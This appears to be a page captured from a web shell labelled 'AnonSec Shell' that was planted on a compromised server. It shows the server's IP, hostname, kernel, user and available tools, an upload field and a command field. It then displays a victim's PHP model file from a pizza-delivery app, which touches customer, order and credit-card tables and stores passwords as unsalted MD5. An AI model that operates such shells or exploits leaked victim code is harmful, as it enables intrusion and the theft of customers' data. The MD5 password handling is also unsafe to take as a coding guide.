AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.103
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_projetos/sopizzas/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_projetos/sopizzas/application/models/customersmanagement_model.php
<?php
Class Customersmanagement_model extends CI_Model {


function get_customer_list($params = array(), $action = '',$action2 =0)
    {
        $this->db->select('*');
        $this->db->from('rt_customer');
        if ($action == '1' || $action == '0') {
        	$this->db->where('status', $action);
        }
        else if ($action == '2') {
        	$this->db->order_by('customer_name', 'ASC');
        }
        else if ($action == '3') {
        	$this->db->order_by('customer_name', 'DESC');
        }
        else if ($action == '4') {
            $this->db->order_by('customer_email', 'ASC');
        }
        else if ($action == '5') {
            $this->db->order_by('customer_email', 'DESC');
        }
        else if ($action == '6') {
            $this->db->order_by('customer_phone', 'ASC');
        }
        else if ($action == '7') {
            $this->db->order_by('customer_phone', 'DESC');
        }
        else {
        	$this->db->order_by('customer_id', 'DESC');
        }


        
        if(array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit'],$params['start']);
        }elseif(!array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit']);
        }
        
        $query = $this->db->get();
        
        return ($query->num_rows() > 0)?$query->result_array():FALSE;
    }


    function RestaurantList() 
	{
	  	$is_active = 1;
		$this->db->select('*');
		$this->db->from('rt_restaurant');
		$this->db->where('restaurant_status = ' . "'" . $is_active . "'".' order by restaurant_name ASC');
		$query = $this->db->get();

		if ($query->num_rows() > 0) 
		{
		return $query->result();
		}
		return false;
	}


function get_customer_payment_list($params = array(), $action = '',$action2 =0)
    {
        /*1 =>Active
        0=>Deactive<                                 
        2=>Addons Name A to Z
        3=>Addons Name Z to A                                
        4=>Category Name A to Z                           
        5=>Category Name Z to A  */     


        $this->db->select('rt_order.*,rt_restaurant.restaurant_name, rt_customer.customer_name');
        $this->db->from('rt_order');
        $this->db->join('rt_restaurant','rt_restaurant.restaurant_id=rt_order.restaurant_id');
        $this->db->join('rt_customer','rt_customer.customer_id=rt_order.customer_id');

        if ($action == '1' || $action == '0') {
            //$this->db->where('rt_payment.restaurant_status', $action);
        }
        else if ($action == '2') {
            //$this->db->order_by('rt_restaurant.restaurant_name', 'ASC');
        }
        else if ($action == '3') {
            //$this->db->order_by('rt_restaurant.restaurant_name', 'DESC');
            $this->db->order_by('rt_customer.customer_name', 'ASC');
        }
        else if ($action == '4') {
            //$this->db->order_by('rt_restaurant.restaurant_name', 'DESC');
            $this->db->order_by('rt_customer.customer_name', 'DESC');
        }
        else if ($action == '5') {
            $this->db->order_by('rt_restaurant.restaurant_name', 'ASC');
        }
        else if ($action == '6') {
            $this->db->order_by('rt_restaurant.restaurant_name', 'DESC');
        }
        else if ($action == '7') {
            $this->db->order_by('rt_order.ordertotalprice', 'ASC');
        }
        else if ($action == '8') {
            $this->db->order_by('rt_order.ordertotalprice', 'DESC');
        }
        
        else {
            $this->db->order_by('rt_order.orderid', 'DESC');
        }

        if($action2>0 && $action2 != 999999){
            $this->db->where('rt_restaurant.restaurant_id', $action2);
        }

        if(array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit'],$params['start']);
        }elseif(!array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit']);
        }
        
        $query = $this->db->get();
        
        return ($query->num_rows() > 0)?$query->result_array():FALSE;
    }

    function isEmailExist($customer_id, $customer_email) {
        $this->db->select('customer_email');
        $this->db->from('rt_customer');
        $this->db->where('customer_email', $customer_email);
        $this->db->where('customer_id !=', $customer_id);
        $queryCust = $this->db->get();

        $this->db->select('restaurant_id');
        $this->db->from('rt_restaurant');
        $this->db->where('restaurant_contact_email', $customer_email);
        $queryRest = $this->db->get();

        /*$this->db->select('driver_id');
        $this->db->from('rt_driver');
        $this->db->where('driver_email', $customer_email);
        $queryDri = $this->db->get();*/
        return ($queryCust->num_rows() > 0 || $queryRest->num_rows() > 0)?TRUE:FALSE;
    }


	function DashboardLastOrders($status)
	{
		$status = 'Delivered';
		$data_table='';

		$this->db->select('ord.ordergenerateid, ord.restaurant_id, ord.customername, ord.ordertotalprice, ord.orderdate, ord.status,res.restaurant_name,res.restaurant_streetaddress');
		$this->db->from('rt_order ord');
		$this->db->join('rt_restaurant res','res.restaurant_id = ord.restaurant_id');
		$this->db->where('ord.status = ' . "'" . $status . "'".' ORDER BY ord.orderid DESC LIMIT 10');
		$query = $this->db->get();

		if ($query->num_rows() > 0) 
		{
			$queryData = $query->result();
			foreach($queryData as $key=>$row) 
			{ 
				$addeddate = $row->orderdate;
				$addeddate = strtotime($addeddate);
				$addeddate = date("D j, Y h:i A",$addeddate);
				$data_table .='<tr>
								<td class="paddingtop13 text-center">'.$row->restaurant_id.'</td>
								<td class="paddingtop13 text-center">'.$row->restaurant_name.'</td>
								<td class="paddingtop13 text-center">'.$row->restaurant_streetaddress.'</td>
								<td class="paddingtop13 text-center">'.$row->ordergenerateid.'</td>
								<td class="paddingtop13 text-center">$'.$row->ordertotalprice.'</td>
								<td class="paddingtop13 text-center">'.$addeddate.'</td>
							</tr>';
			}
			return $data_table;
		}else{
			$data_table .='<tr >
								<td colspan="6" class="paddingtop13 text-center">No Order found!</td>
							</tr>';
			return $data_table;
		}
		
	}

    function GetCustomerDetails($customer_id)
    {

        $is_active = 1;
        $this->db->select('*');
        $this->db->from('rt_customer');
        $this->db->where('customer_id',$customer_id);
        $query = $this->db->get();

        if ($query->num_rows() > 0) 
        {
        return $query->row_array();
        }
        return false;

    }

    function GetCustomerCardDetails($customer_id)
    {
        $this->db->select('*');
        $this->db->from('rt_credit_cards');
        $this->db->where('customer_id',$customer_id);
        $query = $this->db->get();

        if ($query->num_rows() > 0) 
        {
        return $query->row_array();
        }
        return false;
    }


    function get_order_list($params = array(), $action = '', $action2 =0, $action3 ='',$action4 =0)
    {

       
        /*1 =>Pending
        2=>In Preparation                              
        3=>Out for delivery
        4=>Delivered                               
        5=>Cancelled                           
        6=>Rejected
        7=>Missed
        8=>Restaurant Name A to Z
        9=>Restaurant Name Z to A
        10=>Email A to Z
        11=>Email Z to A
        12=>Total Price 0 to 9
        13=>Total Price 9 to 0
        14=>Order Type A to Z
        15=>Order Type Z to A
        16=>Order Number 0 to 9
        17=>Order Number 0 to 9
        18=>Order At A to Z
        19=>Order At Z to A
          */   
            
        if($this->session->userdata('logged_in_customer')){
        $session_data = $this->session->userdata('logged_in_customer');
        $action2 = $session_data['id']; 
        }else{
            $action2 = 0; 
        }

        

        $this->db->select('rt_restaurant.restaurant_name name, rt_order.*, rt_restaurant_reviews.rating, rt_restaurant_reviews.message AS rating_message, rt_restaurant_reviews.status AS rating_status');
        $this->db->from('rt_order');
        $this->db->join('rt_restaurant','rt_restaurant.restaurant_id=rt_order.restaurant_id');
        $this->db->join('rt_restaurant_reviews','rt_restaurant_reviews.order_id=rt_order.orderid', 'left');
        $this->db->order_by('rt_order.orderid', 'DESC');

        $session_data = $this->session->userdata('order_search_data');
        $order_id = $session_data['order_id']; 
        $order_date_from = $session_data['order_date_from']; 
        $order_date_to = $session_data['order_date_to']; 
        $order_status = $session_data['order_status']; 

        if($order_date_from!='')
        {
            $order_date_from = date('Y-m-d',strtotime($order_date_from));
            $this->db->where('date(rt_order.orderdate) >= ' . "'" . $order_date_from."'");
        }
        if($order_date_to!=''){
            $order_date_to = date('Y-m-d',strtotime($order_date_to));
            $this->db->where('date(rt_order.orderdate) <= ' . "'" . $order_date_to."'");
        
        }

        if($order_id!=''){
            $this->db->where('rt_order.ordergenerateid', $order_id);
        }
        if($order_status!=''){
            $action = $order_status;
        }


        




    if($action3!=''){
             $this->db->where('rt_order.usertype', $action3);
        }

        if($action4>0){
             $this->db->where('rt_order.restaurant_id', $action4);
        }


        if ($action == '1') {
            $this->db->where('rt_order.status', 'Pending');
        }
        else if ($action == '2') {
            $this->db->where('rt_order.status', 'In Preparation');
        }
        else if ($action == '3') {
            $this->db->where('rt_order.status', 'Out for delivery');
        }
        else if ($action == '4') {
            $this->db->where('rt_order.status', 'Delivered');
        }
        else if ($action == '5') {
            $this->db->where('rt_order.status', 'Cancelled');
        }
        else if ($action == '6') {
            $this->db->where('rt_order.status', 'Rejected');
        }
        else if ($action == '7') {
            $this->db->where('rt_order.status', 'Missed');
        }

        if ($action == '8') {
            $this->db->order_by('rt_restaurant.restaurant_name', 'ASC');
        }else if($action == '9'){
            $this->db->order_by('rt_restaurant.restaurant_name', 'DESC');
        }else if($action == '10'){
            $this->db->order_by('rt_order.customeremail', 'ASC');
        }else if($action == '11'){
            $this->db->order_by('rt_order.customeremail', 'DESC');
        }else if($action == '12'){
            $this->db->order_by('rt_order.ordertotalprice', 'ASC');
        }else if($action == '13'){
            $this->db->order_by('rt_order.ordertotalprice', 'DESC');
        }else if($action == '14'){
            $this->db->order_by('rt_order.deliverytype', 'ASC');
        }else if($action == '15'){
            $this->db->order_by('rt_order.deliverytype', 'DESC');
        }else if($action == '16'){
            $this->db->order_by('rt_order.orderid', 'ASC');
        }else if($action == '17'){
            $this->db->order_by('rt_order.orderid', 'DESC');
        }else if($action == '18'){
            $this->db->order_by('rt_order.orderdate', 'ASC');
        }else if($action == '19'){
            $this->db->order_by('rt_order.orderdate', 'DESC');
        }


        if($action2>0){
            $this->db->where('rt_order.customer_id', $action2);
        }

        if(array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit'],$params['start']);
        }elseif(!array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit']);
        }
        
        $query = $this->db->get();
        
        return ($query->num_rows() > 0)?$query->result_array():FALSE;
    }


    function get_customer_fav()
    {

        if($this->session->userdata('logged_in_customer')){
        $session_data = $this->session->userdata('logged_in_customer');
        $customer_id = $session_data['id']; 
        }else{
            $customer_id = 0; 
        }

        $this->db->select('rt_restaurant.restaurant_name name,rt_restaurant.restaurant_seourl,rt_myfavorties.*');
        $this->db->from('rt_myfavorties');
        $this->db->join('rt_restaurant','rt_restaurant.restaurant_id=rt_myfavorties.restaurant_id');
        $this->db->where('rt_myfavorties.customerid', $customer_id);
        $this->db->where('rt_restaurant.braintree_sub_merchant_status', 'active');
        $this->db->where('rt_restaurant.restaurant_status', '1');
        $this->db->order_by('rt_myfavorties.id', 'DESC');

        $query = $this->db->get();
        
        return ($query->num_rows() > 0)?$query->result_array():FALSE;
    }

   function GetDriverDetails($driver_id)
    {

        $is_active = 1;
        $this->db->select('*');
        $this->db->from('rt_driver');
        $this->db->where('driver_id',$driver_id);
        $query = $this->db->get();

        if ($query->num_rows() > 0) 
        {
        return $query->row_array();
        }
        return false;

    }

    function IsCustomerExist($password, $userid) 
    {
        $this->db->select('customer_id');
        $this->db->from('rt_customer');
        $this->db->where('customer_password',md5($password)); 
        $this->db->where('customer_id',$userid);
        $this->db->limit(1);
        $query = $this -> db -> get();
        if($query -> num_rows() == 1)
        {
            return true;
        }
        else
        {
            return false;
        }
    }

    function getReviewDetails($order_id) {
        $this->db->select('*');
        $this->db->from('rt_restaurant_reviews');
        $this->db->where('order_id', $order_id);
        $query = $this->db->get();
        // echo $this->db->last_query();
        if ($query->num_rows() > 0) {
            return $query->row_array();
        }
        else {
            return false;
        }
    }


}

Anon7 - 2022
AnonSec Team